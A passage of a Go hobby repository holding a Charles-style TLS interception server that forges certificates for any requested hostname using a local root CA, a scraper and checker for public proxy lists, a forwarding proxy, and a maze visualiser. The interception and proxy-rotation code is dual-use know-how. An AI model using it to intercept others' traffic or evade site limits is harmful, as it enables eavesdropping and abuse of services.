| log.Fatal(err) 34 | } 35 | 36 | f, err := os.OpenFile(dstFile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644) 37 | if err != nil { 38 | log.Fatal(err) 39 | } 40 | err = tpl.Execute(f, apps) 41 | if err != nil { 42 | log.Fatal(err) 43 | } 44 | 45 | } 46 | 47 | func scanApps() []string { 48 | apps := make([]string, 0) 49 | info, err := ioutil.ReadDir(".") 50 | if err != nil { 51 | log.Fatal(err) 52 | } 53 | for _, item := range info { 54 | if item.IsDir() && (hasFile(item.Name() + "/init.go") || 55 | hasFile(item.Name() + "/" + item.Name() + "_init.go")) { 56 | apps = append(apps, item.Name()) 57 | } 58 | } 59 | 60 | return apps 61 | } 62 | 63 | 64 | func hasFile(name string) bool { 65 | _, err := os.Stat(name) 66 | return err == nil 67 | } 68 | const ( 69 | tplFile = "loader/apps.go.tpl" 70 | dstFile = "loader/apps.go" 71 | ) 72 | -------------------------------------------------------------------------------- /loader/apps.go: -------------------------------------------------------------------------------- 1 | package loader 2 | 3 | import "funny/attack" 4 | import "funny/baidu_pan" 5 | import "funny/exame_result" 6 | import "funny/food" 7 | import "funny/leet_code" 8 | import "funny/my_charles" 9 | import "funny/proxy" 10 | import "funny/spider_client" 11 | import "funny/tcp_log" 12 | import "funny/tencent_code" 13 | import "funny/test" 14 | import "funny/wasm" 15 | import "funny/xes" 16 | import "funny/yeb_exp" 17 | 18 | 19 | func init() { 20 | mp = map[string]initFunc { 21 | "attack": attack.Init, 22 | "baidu_pan": baidu_pan.Init, 23 | "exame_result": exame_result.Init, 24 | "food": food.Init, 25 | "leet_code": leet_code.Init, 26 | "my_charles": my_charles.Init, 27 | "proxy": proxy.Init, 28 | "spider_client": spider_client.Init, 29 | "tcp_log": tcp_log.Init, 30 | "tencent_code": tencent_code.Init, 31 | "test": test.Init, 32 | "wasm": wasm.Init, 33 | "xes": xes.Init, 34 | "yeb_exp": yeb_exp.Init, 35 | 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /loader/apps.go.tpl: -------------------------------------------------------------------------------- 1 | package loader 2 | 3 | {{range .}}import "funny/{{.}}" 4 | {{end}} 5 | 6 | func init() { 7 | mp = map[string]initFunc { 8 | {{range .}} "{{.}}": {{.}}.Init, 9 | {{end}} 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /loader/start.go: -------------------------------------------------------------------------------- 1 | package loader 2 | 3 | import ( 4 | "log" 5 | ) 6 | 7 | type initFunc func() 8 | 9 | var mp = map[string]initFunc{} 10 | 11 | func StartApp(name string) { 12 | if fn, ok := mp[name]; ok { 13 | fn() 14 | } else { 15 | log.Fatal("app: " + name + " is not exist") 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | //go:generate go run loader/app_map_generator.go 4 | 5 | import ( 6 | "flag" 7 | "funny/loader" 8 | "log" 9 | ) 10 | 11 | func main() { 12 | log.SetFlags(log.Lshortfile | log.LstdFlags) 13 | var name = flag.String("n", "leet_code", "app 名称") 14 | flag.Parse() 15 | loader.StartApp(*name) 16 | } 17 | -------------------------------------------------------------------------------- /my_charles/my_charles_init.go: -------------------------------------------------------------------------------- 1 | package my_charles 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "strings" 9 | "sync" 10 | ) 11 | 12 | func handler(w http.ResponseWriter, r *http.Request) { 13 | fmt.Fprintf(w, 14 | "Hi, This is an example of https service in golang!") 15 | } 16 | 17 | func Init() { 18 | //normal() 19 | //return 20 | http.HandleFunc("/", handler) 21 | certFile := "/home/peterq/dev/env/cert/server.bundle.crt" 22 | certKey := "/home/peterq/dev/env/cert/server.nopass.key" 23 | certKey, certFile = "", "" 24 | server := &http.Server{ 25 | Addr: ":8081", 26 | Handler: nil, 27 | TLSConfig: &tls.Config{ 28 | GetCertificate: func(info *tls.ClientHelloInfo) (*tls.Certificate, error) { 29 | log.Println(info.ServerName, info.Conn.LocalAddr(), info.Conn.RemoteAddr()) 30 | return getCert(info) 31 | }, 32 | }, 33 | } 34 | server.ListenAndServeTLS(certFile, certKey) 35 | } 36 | 37 | func normal() { 38 | http.HandleFunc("/", handler) 39 | certFile := "/home/peterq/dev/env/cert/server.bundle.crt" 40 | certKey := "/home/peterq/dev/env/cert/server.nopass.key" 41 | http.ListenAndServeTLS(":8081", certFile, certKey, nil) 42 | } 43 | 44 | var certMap = make(map[string]*tls.Certificate) 45 | var certMapLock = new(sync.Mutex) 46 | 47 | func getCert(info *tls.ClientHelloInfo) (*tls.Certificate, error) { 48 | cn := info.ServerName 49 | if cn == "" { 50 | cn = info.Conn.LocalAddr().String() 51 | cn = strings.Split(cn, ":")[0] 52 | } 53 | certMapLock.Lock() 54 | fmt.Scanln() 55 | defer certMapLock.Unlock() 56 | if cert, ok := certMap[cn]; ok { 57 | return cert, nil 58 | } 59 | i := CertInformation{ 60 | Country: []string{"CN"}, 61 | Organization: []string{"PeterQ Info Tech .Ltd"}, 62 | OrganizationalUnit: []string{"cert for " + cn}, 63 | EmailAddress: []string{"me@peterq.cn"}, 64 | Province: []string{"HuNan"}, 65 | Locality: nil, 66 | CommonName: cn, 67 | CrtName: "", 68 | KeyName: "", 69 | IsCA: false, 70 | Names: nil, 71 | } 72 | certBuff, keyBuff, err := genCertWithCa(i) 73 | if err != nil { 74 | return nil, err 75 | } 76 | cert, err := tls.X509KeyPair(certBuff.Bytes(), keyBuff.Bytes()) 77 | if err != nil { 78 | return nil, err 79 | } 80 | certMap[cn] = &cert 81 | return &cert, nil 82 | } 83 | -------------------------------------------------------------------------------- /my_charles/rsa.go: -------------------------------------------------------------------------------- 1 | package my_charles 2 | 3 | import ( 4 | "bytes" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/x509" 8 | "crypto/x509/pkix" 9 | "encoding/pem" 10 | "io/ioutil" 11 | "math/big" 12 | rd "math/rand" 13 | "os" 14 | "time" 15 | ) 16 | 17 | var RootCa *x509.Certificate 18 | var RootKey *rsa.PrivateKey 19 | var RootCaContents []byte 20 | 21 | func init() { 22 | rd.Seed(time.Now().UnixNano()) 23 | var err error 24 | RootCa, RootKey, err = Parse("/home/peterq/dev/env/cert/ca.crt", "/home/peterq/dev/env/cert/ca.nopass.key") 25 | if err != nil { 26 | panic(err) 27 | } 28 | RootCaContents, err = ioutil.ReadFile("/home/peterq/dev/env/cert/ca.crt") 29 | if err != nil { 30 | panic(err) 31 | } 32 | } 33 | 34 | func writeToBuff(buffer *bytes.Buffer, Type string, p []byte) error { 35 | var b = &pem.Block{Bytes: p, Type: Type} 36 | return pem.Encode(buffer, b) 37 | } 38 | 39 | func genCertWithCa(info CertInformation) (certBuff, keyBuff *bytes.Buffer, err error) { 40 | certBuff = bytes.NewBuffer([]byte{}) 41 | keyBuff = bytes.NewBuffer([]byte{}) 42 | 43 | Crt := newCertificate(info) 44 | Key, err := rsa.GenerateKey(rand.Reader, 2048) 45 | if err != nil { 46 | return 47 | } 48 | 49 | var buf []byte 50 | if RootCa == nil || RootKey == nil { 51 | //创建自签名证书 52 | buf, err = x509.CreateCertificate(rand.Reader, Crt, Crt, &Key.PublicKey, Key) 53 | } else { 54 | //使用根证书签名 55 | buf, err = x509.CreateCertificate(rand.Reader, Crt, RootCa, &Key.PublicKey, RootKey) 56 | } 57 | if err != nil { 58 | return 59 | } 60 | 61 | err = writeToBuff(certBuff, "CERTIFICATE", buf) 62 | if err != nil { 63 | return 64 | } 65 | certBuff.Write(RootCaContents) 66 | 67 | buf = x509.MarshalPKCS1PrivateKey(Key) 68 | err = writeToBuff(keyBuff, "PRIVATE KEY", buf) 69 | return 70 | } 71 | 72 | type CertInformation struct { 73 | Country []string 74 | Organization []string 75 | OrganizationalUnit []string 76 | EmailAddress []string 77 | Province []string 78 | Locality []string 79 | CommonName string 80 | CrtName, KeyName string 81 | IsCA bool 82 | Names []pkix.AttributeTypeAndValue 83 | } 84 | 85 | func CreateCRT(RootCa *x509.Certificate, RootKey *rsa.PrivateKey, info CertInformation) error { 86 | Crt := newCertificate(info) 87 | Key, err := rsa.GenerateKey(rand.Reader, 2048) 88 | if err != nil { 89 | return err 90 | } 91 | 92 | var buf []byte 93 | if RootCa == nil || RootKey == nil { 94 | //创建自签名证书 95 | buf, err = x509.CreateCertificate(rand.Reader, Crt, Crt, &Key.PublicKey, Key) 96 | } else { 97 | //使用根证书签名 98 | buf, err = x509.CreateCertificate(rand.Reader, Crt, RootCa, &Key.PublicKey, RootKey) 99 | } 100 | if err != nil { 101 | return err 102 | } 103 | 104 | err = write(info.CrtName, "CERTIFICATE", buf) 105 | if err != nil { 106 | return err 107 | } 108 | 109 | buf = x509.MarshalPKCS1PrivateKey(Key) 110 | return write(info.KeyName, "PRIVATE KEY", buf) 111 | } 112 | 113 | //编码写入文件 114 | func write(filename, Type string, p []byte) error { 115 | File, err := os.Create(filename) 116 | defer File.Close() 117 | if err != nil { 118 | return err 119 | } 120 | var b = &pem.Block{Bytes: p, Type: Type} 121 | return pem.Encode(File, b) 122 | } 123 | 124 | func Parse(crtPath, keyPath string) (rootcertificate *x509.Certificate, rootPrivateKey *rsa.PrivateKey, err error) { 125 | rootcertificate, err = ParseCrt(crtPath) 126 | if err != nil { 127 | return 128 | } 129 | rootPrivateKey, err = ParseKey(keyPath) 130 | return 131 | } 132 | 133 | func ParseCrt(path string) (*x509.Certificate, error) { 134 | buf, err := ioutil.ReadFile(path) 135 | if err != nil { 136 | return nil, err 137 | } 138 | p := &pem.Block{} 139 | p, buf = pem.Decode(buf) 140 | return x509.ParseCertificate(p.Bytes) 141 | } 142 | 143 | func ParseKey(path string) (*rsa.PrivateKey, error) { 144 | buf, err := ioutil.ReadFile(path) 145 | if err != nil { 146 | return nil, err 147 | } 148 | p, buf := pem.Decode(buf) 149 | return x509.ParsePKCS1PrivateKey(p.Bytes) 150 | } 151 | 152 | func newCertificate(info CertInformation) *x509.Certificate { 153 | return &x509.Certificate{ 154 | SerialNumber: big.NewInt(rd.Int63()), 155 | Subject: pkix.Name{ 156 | Country: info.Country, 157 | Organization: info.Organization, 158 | OrganizationalUnit: info.OrganizationalUnit, 159 | Province: info.Province, 160 | CommonName: info.CommonName, 161 | Locality: info.Locality, 162 | ExtraNames: info.Names, 163 | }, 164 | NotBefore: time.Now(), //证书的开始时间 165 | NotAfter: time.Now().AddDate(20, 0, 0), //证书的结束时间 166 | BasicConstraintsValid: true, //基本的有效性约束 167 | IsCA: info.IsCA, //是否是根证书 168 | ExtKeyUsage: []x509.ExtKeyUsage{ 169 | x509.ExtKeyUsageServerAuth, 170 | x509.ExtKeyUsageClientAuth, 171 | x509.ExtKeyUsageCodeSigning, 172 | x509.ExtKeyUsageEmailProtection, 173 | x509.ExtKeyUsageIPSECEndSystem, 174 | x509.ExtKeyUsageIPSECTunnel, 175 | x509.ExtKeyUsageIPSECUser, 176 | x509.ExtKeyUsageTimeStamping, 177 | x509.ExtKeyUsageOCSPSigning, 178 | x509.ExtKeyUsageMicrosoftServerGatedCrypto, 179 | x509.ExtKeyUsageNetscapeServerGatedCrypto, 180 | x509.ExtKeyUsageMicrosoftCommercialCodeSigning, 181 | x509.ExtKeyUsageMicrosoftKernelCodeSigning, 182 | }, //证书用途 183 | KeyUsage: x509.KeyUsageDigitalSignature | 184 | x509.KeyUsageContentCommitment | 185 | x509.KeyUsageKeyEncipherment | 186 | x509.KeyUsageDataEncipherment | 187 | x509.KeyUsageKeyAgreement | 188 | x509.KeyUsageCertSign | 189 | x509.KeyUsageCRLSign | 190 | x509.KeyUsageEncipherOnly | 191 | x509.KeyUsageDecipherOnly, 192 | //KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, 193 | EmailAddresses: info.EmailAddress, 194 | DNSNames: []string{info.CommonName}, 195 | } 196 | } 197 | -------------------------------------------------------------------------------- /projects/maze/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | tl "github.com/JoelOtter/termloop" 5 | "time" 6 | ) 7 | 8 | type grid struct { 9 | *tl.Rectangle 10 | x, y int 11 | isWall, visited, queued bool 12 | game *game 13 | } 14 | 15 | func (g *grid) visit() { 16 | if g.visited { 17 | panic("repeated") 18 | 19 | } 20 | g.SetColor(tl.ColorBlue) 21 | g.visited = true 22 | // 上下左右加入队列 23 | ps := [][2]int{ 24 | {g.x, g.y + 1}, 25 | {g.x, g.y - 1}, 26 | {g.x - 1, g.y}, 27 | {g.x + 1, g.y}, 28 | } 29 | for _, p := range ps { 30 | if p[0] >= 0 && p[0] < g.game.col && 31 | p[1] >= 0 && p[1] < g.game.row { 32 | gr := g.game.gridMap[p[1]][p[0]] 33 | //log.Println("gr", gr) 34 | if !gr.visited && !gr.isWall && !gr.queued { 35 | time.Sleep(time.Second) 36 | g.game.exploreQueue.push(gr) 37 | gr.queued = true 38 | gr.SetColor(tl.ColorGreen) 39 | } 40 | } else { 41 | } 42 | } 43 | 44 | } 45 | 46 | type game struct { 47 | mazeMap [][]int 48 | gridMap [][]*grid 49 | col, 50 | row int 51 | exploreQueue queue 52 | } 53 | 54 | func (gm *game) start() { 55 | gm.exploreQueue.push(gm.gridMap[0][0]) 56 | for !gm.exploreQueue.isEmpty() { 57 | gr := (*grid)(gm.exploreQueue.pop()) 58 | if gr.x == gm.col-1 && gr.y == gm.row-1 { 59 | break 60 | } 61 | gr.visit() 62 | time.Sleep(time.Second) 63 | } 64 | //log.Println("finish") 65 | } 66 | 67 | func newGame(mp [][]int) *game { 68 | return &game{ 69 | mazeMap: mp, 70 | gridMap: [][]*grid{}, 71 | row: len(mp), 72 | col: len(mp[0]), 73 | } 74 | } 75 | 76 | func newGrid(x, y int, wall bool, game2 *game) *grid { 77 | g := &grid{ 78 | x: x, 79 | y: y, 80 | Rectangle: tl.NewRectangle(x*2, y, 2, 1, tl.ColorDefault), 81 | isWall: wall, 82 | visited: false, 83 | game: game2, 84 | } 85 | if wall { 86 | g.SetColor(tl.ColorRed) 87 | } 88 | return g 89 | } 90 | 91 | func main() { 92 | mp := [][]int{ 93 | {0, 1, 0, 0, 0}, 94 | {0, 0, 0, 1, 0}, 95 | {0, 1, 0, 1, 0}, 96 | {1, 1, 1, 0, 0}, 97 | {0, 1, 0, 0, 1}, 98 | {0, 1, 0, 0, 0}, 99 | } 100 | gamee := newGame(mp) 101 | g := tl.NewGame() 102 | g.Screen().SetFps(60) 103 | l := tl.NewBaseLevel(tl.Cell{ 104 | //Bg: tl.ColorWhite, 105 | }) 106 | 107 | drawMap(gamee, g.Screen()) 108 | go func() { 109 | time.Sleep(1 * time.Second) 110 | g.SetDebugOn(true) 111 | g.Log("344") 112 | gamee.start() 113 | 114 | }() 115 | g.Screen().SetLevel(l) 116 | //g.Screen().AddEntity(tl.NewFpsText(0, 0, tl.ColorRed, tl.ColorDefault, 0.5)) 117 | 118 | g.Start() 119 | } 120 | 121 | func drawMap(gm *game, s *tl.Screen) { 122 | for r := 0; r < gm.row; r++ { 123 | gm.gridMap = append(gm.gridMap, []*grid{}) 124 | for c := 0; c < gm.col; c++ { 125 | gr := newGrid(c, r, gm.mazeMap[r][c] == 1, gm) 126 | s.AddEntity(gr) 127 | gm.gridMap[r] = append(gm.gridMap[r], gr) 128 | } 129 | } 130 | } 131 | 132 | type point *grid 133 | 134 | type queue []point 135 | 136 | func (q *queue) isEmpty() bool { 137 | return len(*q) == 0 138 | } 139 | 140 | func (q *queue) pop() point { 141 | if q.isEmpty() { 142 | panic("queue is empty") 143 | } 144 | p := (*q)[len(*q)-1] 145 | *q = (*q)[:len(*q)-1] 146 | return p 147 | } 148 | 149 | func (q *queue) push(p point) { 150 | *q = append(*q, p) 151 | if len(*q) == 1 { 152 | return 153 | } 154 | _ = append((*q)[1:1], (*q)[0:len(*q)-1]...) 155 | (*q)[0] = p 156 | } 157 | -------------------------------------------------------------------------------- /proxy/ipPool.go: -------------------------------------------------------------------------------- 1 | package proxy 2 | 3 | import ( 4 | "bytes" 5 | "github.com/PuerkitoBio/goquery" 6 | "io/ioutil" 7 | "log" 8 | "net" 9 | "net/http" 10 | "net/url" 11 | "strconv" 12 | "strings" 13 | "sync" 14 | "time" 15 | ) 16 | 17 | var pool = make(map[string]*Proxy) 18 | var OkPool = make(map[string]*Proxy) 19 | var PoolLock = new(sync.Mutex) 20 | 21 | type Proxy struct { 22 | Host, Port, T string 23 | state int // 0 未测试, 1 通过, 2 未通过 24 | LastUsingTime int64 25 | } 26 | 27 | // 从代理池中选出一个代理, 优先选取未被使用过的 28 | func GetAProxy() *Proxy { 29 | return nil 30 | if len(OkPool) == 0 { 31 | return nil 32 | } 33 | var theOne *Proxy 34 | PoolLock.Lock() 35 | for _, p := range OkPool { 36 | if theOne == nil || theOne.LastUsingTime > p.LastUsingTime { 37 | theOne = p 38 | } 39 | } 40 | PoolLock.Unlock() 41 | theOne.LastUsingTime = time.Now().UnixNano() 42 | return theOne 43 | } 44 | 45 | func RefreshPool(cb func()) error { 46 | pool = make(map[string]*Proxy) 47 | checkCh := make(chan *Proxy, 10) // 发送要检测的代理 48 | checkedCh := make(chan *Proxy, 10) // 已经检测完毕的代理 49 | available := checkAvailable(checkConnection(checkCh, checkedCh), checkedCh) 50 | go func() { 51 | for { 52 | p, ok := <-available 53 | if !ok { 54 | break 55 | } 56 | p.state = 1 57 | PoolLock.Lock() 58 | OkPool[ProxyKey(p)] = p 59 | PoolLock.Unlock() 60 | } 61 | log.Println("finised") 62 | }() 63 | for i := 1; i <= 1; i++ { 64 | list, err := getListFromXigua(i) 65 | if err != nil { 66 | return err 67 | } 68 | toCheck := make([]*Proxy, 0) 69 | for _, p := range list { 70 | key := ProxyKey(p) 71 | if _, ok := pool[key]; !ok { 72 | p.state = 2 73 | pool[key] = p 74 | toCheck = append(toCheck, p) 75 | } 76 | 77 | } 78 | done := waitNum(checkedCh, len(toCheck)) 79 | for _, p := range toCheck { 80 | time.Sleep(10 * time.Millisecond) 81 | checkCh <- p 82 | } 83 | <-done 84 | log.Println("可用代理", len(OkPool)) 85 | } 86 | log.Println("代理爬取完毕, 总数:", len(pool), "/", len(pool)) 87 | return nil 88 | } 89 | 90 | func ProxyKey(p *Proxy) string { 91 | return p.Host + ":" + p.Port 92 | } 93 | 94 | func CheckOKPool(interval time.Duration, cb func()) { 95 | for { 96 | noUsefulNum := 0 97 | // 98 | for k, p := range OkPool { 99 | go func(k string, p *Proxy) { 100 | toDel := true 101 | defer func() { 102 | if toDel { 103 | //log.Println("代理失效", k) 104 | PoolLock.Lock() 105 | noUsefulNum++ 106 | delete(OkPool, k) 107 | PoolLock.Unlock() 108 | } 109 | }() 110 | resp, err := proxyTest("http://"+ProxyKey(p)+"/", "https://food.boohee.com/fb/v1/foods/malachenpigourou") 111 | if err != nil { 112 | //log.Println(err) 113 | return 114 | } 115 | data, err := ioutil.ReadAll(resp.Body) 116 | if data != nil && err == nil { 117 | //log.Println(strings.Index(string(data), "星火米袋"), string(data)) 118 | if strings.Index(string(data), "麻辣陈皮狗肉") > 0 { 119 | toDel = false 120 | } 121 | 122 | } else { 123 | log.Println(err) 124 | } 125 | }(k, p) 126 | } 127 | if cb != nil { 128 | go cb() 129 | } 130 | time.Sleep(interval) 131 | } 132 | } 133 | 134 | func proxyTest(proxy, u string) (resp *http.Response, err error) { 135 | proxyFn := func(_ *http.Request) (*url.URL, error) { 136 | return url.Parse(proxy) 137 | } 138 | httpClient := http.Client{ 139 | Transport: &http.Transport{Proxy: proxyFn}, 140 | CheckRedirect: nil, 141 | Jar: nil, 142 | Timeout: 5 * time.Second, 143 | } 144 | request, err := http.NewRequest("GET", u, nil) 145 | if err != nil { 146 | return 147 | } 148 | resp, err = httpClient.Do(request) 149 | return 150 | } 151 | 152 | func waitNum(checked chan *Proxy, num int) chan bool { 153 | done := make(chan bool) 154 | go func() { 155 | for i := 0; i < num; i++ { 156 | <-checked 157 | } 158 | done <- true 159 | }() 160 | return done 161 | 162 | } 163 | 164 | // 检测是否能连接上 165 | func checkConnection(list chan *Proxy, checked chan *Proxy) chan *Proxy { 166 | ch := make(chan *Proxy, 10) 167 | go func() { 168 | for { 169 | //time.Sleep(200 *time.Millisecond) 170 | p, ok := <-list 171 | //log.Println(ProxyKey(p)) 172 | if !ok { 173 | close(ch) 174 | break 175 | } 176 | //log.Println(p) 177 | go func(p *Proxy) { 178 | //log.Println(p) 179 | addr := p.Host + ":" + p.Port 180 | conn, err := net.DialTimeout("tcp", addr, time.Second*3) 181 | if err == nil { // 能连接上发送给下一个检测步骤 182 | conn.Close() 183 | //log.Println("连接上了", addr) 184 | ch <- p 185 | } else { // 不能连接上, 检测完毕 186 | //log.Println("连接不上", addr, err) 187 | checked <- p 188 | } 189 | }(p) 190 | } 191 | }() 192 | return ch 193 | } 194 | 195 | // 检测是否可用 196 | func checkAvailable(ch chan *Proxy, checked chan *Proxy) chan *Proxy { 197 | available := make(chan *Proxy, 3) 198 | go func() { 199 | for { 200 | p, ok := <-ch 201 | if !ok { 202 | log.Println("not ok") 203 | break 204 | } 205 | go func(p *Proxy) { 206 | defer func() { checked <- p }() // 发送检测完毕事件 207 | resp, err := proxyTest("http://"+ProxyKey(p)+"/", "https://food.boohee.com/fb/v1/foods/malachenpigourou") 208 | if err != nil { 209 | //log.Println(err) 210 | return 211 | } 212 | data, err := ioutil.ReadAll(resp.Body) 213 | if data != nil && err == nil { 214 | str := string(data) 215 | //log.Println(str) 216 | if strings.Index(str, "麻辣陈皮狗肉") > 0 { 217 | available <- p 218 | } 219 | 220 | } 221 | }(p) 222 | } 223 | }() 224 | return available 225 | 226 | } 227 | 228 | func getListFromXici(page int) (list []*Proxy, err error) { 229 | client := http.Client{ 230 | /*Transport: &http.Transport{Proxy: func(_ *http.Request) (*url.URL, error) { 231 | return url.Parse("http://127.0.0.1:1081/")//根据定义Proxy func(*Request) (*url.URL, error)这里要返回url.URL 232 | }},*/ 233 | CheckRedirect: nil, 234 | Jar: nil, 235 | Timeout: 5 * time.Second, 236 | } 237 | u := "http://www.xicidaili.com/nn/" + strconv.Itoa(page) 238 | log.Println(u) 239 | request, err := http.NewRequest("GET", u, nil) 240 | request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36") 241 | resp, err := client.Do(request) 242 | if err != nil { 243 | log.Println(err, "err") 244 | return 245 | } else { 246 | defer resp.Body.Close() 247 | } 248 | s, err := ioutil.ReadAll(resp.Body) 249 | if err != nil { 250 | log.Println(err) 251 | } 252 | if len(s) < 20 { 253 | log.Println(string(s)) 254 | } 255 | doc, _ := goquery.NewDocumentFromReader(bytes.NewReader(s)) 256 | doc.Find("#ip_list > tbody").Children().Each(func(i int, selection *goquery.Selection) { 257 | ip, _ := selection.Find("td:nth-child(2)").Html() 258 | port, _ := selection.Find("td:nth-child(3)").Html() 259 | t, _ := selection.Find("td:nth-child(6)").Html() 260 | p := &Proxy{ip, port, t, 0, 0} 261 | if ip != "" { 262 | list = append(list, p) 263 | } 264 | }) 265 | return 266 | } 267 | 268 | func getListFrom66(page int) (list []*Proxy, err error) { 269 | each := 5 270 | client := http.Client{ 271 | /*Transport: &http.Transport{Proxy: func(_ *http.Request) (*url.URL, error) { 272 | return url.Parse("http://127.0.0.1:1081/")//根据定义Proxy func(*Request) (*url.URL, error)这里要返回url.URL 273 | }},*/ 274 | CheckRedirect: nil, 275 | Jar: nil, 276 | Timeout: 5 * time.Second, 277 | } 278 | for i := (page-1)*each + 1; i <= page*each; i++ { 279 | u := "http://www.66ip.cn/" + strconv.Itoa(i) + ".html" 280 | //log.Println(u) 281 | err = nil 282 | request, err := http.NewRequest("GET", u, nil) 283 | request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36") 284 | resp, err := client.Do(request) 285 | if err != nil { 286 | log.Println(err, "err") 287 | return nil, err 288 | } else { 289 | defer func(*http.Response) { resp.Body.Close() }(resp) 290 | } 291 | s, err := ioutil.ReadAll(resp.Body) 292 | if err != nil { 293 | log.Println(err) 294 | } 295 | if len(s) < 20 { 296 | log.Println(string(s)) 297 | } 298 | doc, _ := goquery.NewDocumentFromReader(bytes.NewReader(s)) 299 | doc.Find("#main > div > div:nth-child(1) > table > tbody").Children().Each(func(i int, selection *goquery.Selection) { 300 | if i == 0 { 301 | return 302 | } 303 | ip, _ := selection.Find("td:nth-child(1)").Html() 304 | port, _ := selection.Find("td:nth-child(2)").Html() 305 | p := &Proxy{ip, port, "", 0, 0} 306 | if ip != "" { 307 | list = append(list, p) 308 | } 309 | }) 310 | } 311 | return 312 | } 313 | 314 | func getListFromXigua(page int) (list []*Proxy, err error) { 315 | if page > 1 { 316 | return 317 | } 318 | each := 5 319 | client := http.Client{ 320 | /*Transport: &http.Transport{Proxy: func(_ *http.Request) (*url.URL, error) { 321 | return url.Parse("http://127.0.0.1:1081/")//根据定义Proxy func(*Request) (*url.URL, error)这里要返回url.URL 322 | }},*/ 323 | CheckRedirect: nil, 324 | Jar: nil, 325 | Timeout: 5 * time.Second, 326 | } 327 | for i := (page-1)*each + 1; i <= page*each; i++ { 328 | u := "http://api3.xiguadaili.com/ip/?tid=559006267855792&num=50000" 329 | u = "http://www.90api.cn/vip.php?key=584198450&sl=3000" 330 | //log.Println(u) 331 | err = nil 332 | request, err := http.NewRequest("GET", u, nil) 333 | request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36") 334 | resp, err := client.Do(request) 335 | if err != nil { 336 | log.Println(err, "err") 337 | return nil, err 338 | } else { 339 | defer func(*http.Response) { resp.Body.Close() }(resp) 340 | } 341 | s, err := ioutil.ReadAll(resp.Body) 342 | if err != nil { 343 | log.Println(err) 344 | } 345 | lines := strings.Split(string(s), "\r\n") 346 | for index := range lines { 347 | line := lines[index] 348 | //log.Println(line) 349 | parts := strings.Split(line, ":") 350 | if len(parts) != 2 { 351 | continue 352 | } 353 | p := &Proxy{parts[0], parts[1], "", 0, 0} 354 | //log.Println(ProxyKey(p)) 355 | //time.Sleep(100 * time.Millisecond) 356 | list = append(list, p) 357 | } 358 | 359 | } 360 | return 361 | } 362 | -------------------------------------------------------------------------------- /proxy/proxy_init.go: -------------------------------------------------------------------------------- 1 | package proxy 2 | 3 | import "log" 4 | 5 | func Init() { 6 | log.Println("Proxy here") 7 | StartProxyServer() 8 | } 9 | -------------------------------------------------------------------------------- /proxy/service.go: -------------------------------------------------------------------------------- 1 | package proxy 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net" 9 | "net/url" 10 | "strings" 11 | ) 12 | 13 | func StartProxyServer() { 14 | log.SetFlags(log.LstdFlags | log.Lshortfile) 15 | l, err := net.Listen("tcp", ":8081") 16 | if err != nil { 17 | log.Panic(err) 18 | } 19 | 20 | for { 21 | client, err := l.Accept() 22 | if err != nil { 23 | log.Panic(err) 24 | } 25 | 26 | go handleClientRequest(client) 27 | } 28 | } 29 | 30 | func handleClientRequest(client net.Conn) { 31 | if client == nil { 32 | return 33 | } 34 | defer client.Close() 35 | 36 | var b [1024]byte 37 | n, err := client.Read(b[:]) 38 | if err != nil { 39 | log.Println(err) 40 | return 41 | } 42 | fmt.Printf("%s", string(b[:])) 43 | var method, host, address string 44 | fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\n')]), "%s%s", &method, &host) 45 | hostPortURL, err := url.Parse(host) 46 | if err != nil { 47 | log.Println(err) 48 | return 49 | } 50 | 51 | if hostPortURL.Opaque == "443" { //https访问 52 | address = hostPortURL.Scheme + ":443" 53 | } else { //http访问 54 | if strings.Index(hostPortURL.Host, ":") == -1 { //host不带端口, 默认80 55 | address = hostPortURL.Host + ":80" 56 | } else { 57 | address = hostPortURL.Host 58 | } 59 | } 60 | log.Println(address) 61 | //获得了请求的host和port,就开始拨号吧 62 | address = "122.96.93.158:49435" 63 | server, err := net.Dial("tcp", address) 64 | if err != nil { 65 | log.Println(err) 66 | return 67 | } 68 | if method == "CONNECT" { 69 | fmt.Fprint(client, "HTTP/1.1 200 Connection established\r\n\r\n") 70 | } else { 71 | server.Write(b[:n]) 72 | } 73 | //进行转发 74 | go io.Copy(server, client) 75 | io.Copy(client, server) 76 | } 77 | -------------------------------------------------------------------------------- /spider_client/proxy_pool.go: -------------------------------------------------------------------------------- 1 | package spider_client 2 | 3 | import ( 4 | "io/ioutil" 5 | "log" 6 | "net/http" 7 | "net/url" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func RefreshPool(interval time.Duration, outputCh chan Proxy) chan Proxy { 13 | checked := make(map[Proxy]bool) 14 | c := New(2, 2, 0, true) 15 | checkCh := make(chan Proxy, 10) 16 | for i := 0; i < 100; i++ { // 开 50 个检测代理的协程 17 | go checkProxy(checkCh, outputCh) 18 | } 19 | 20 | go func() { 21 | lastClearTime := time.Now().UnixNano() 22 | clearInterval := int64(time.Minute) 23 | for { 24 | list := getProxyList(c) 25 | for _, p := range list { 26 | if _, ok := checked[p]; !ok { // 防止重复检测 27 | checkCh <- p 28 | } 29 | } 30 | time.Sleep(interval) 31 | if time.Now().UnixNano()-lastClearTime > clearInterval { 32 | log.Println("清空已检测代理") 33 | checked = make(map[Proxy]bool) // 清空它, 有些代理不稳定, 当时不能用, 现在又可以用了 34 | lastClearTime = time.Now().UnixNano() 35 | } 36 | } 37 | }() 38 | return checkCh 39 | } 40 | 41 | func checkProxy(input chan Proxy, output chan Proxy) { 42 | var p Proxy 43 | httpClient := http.Client{ 44 | 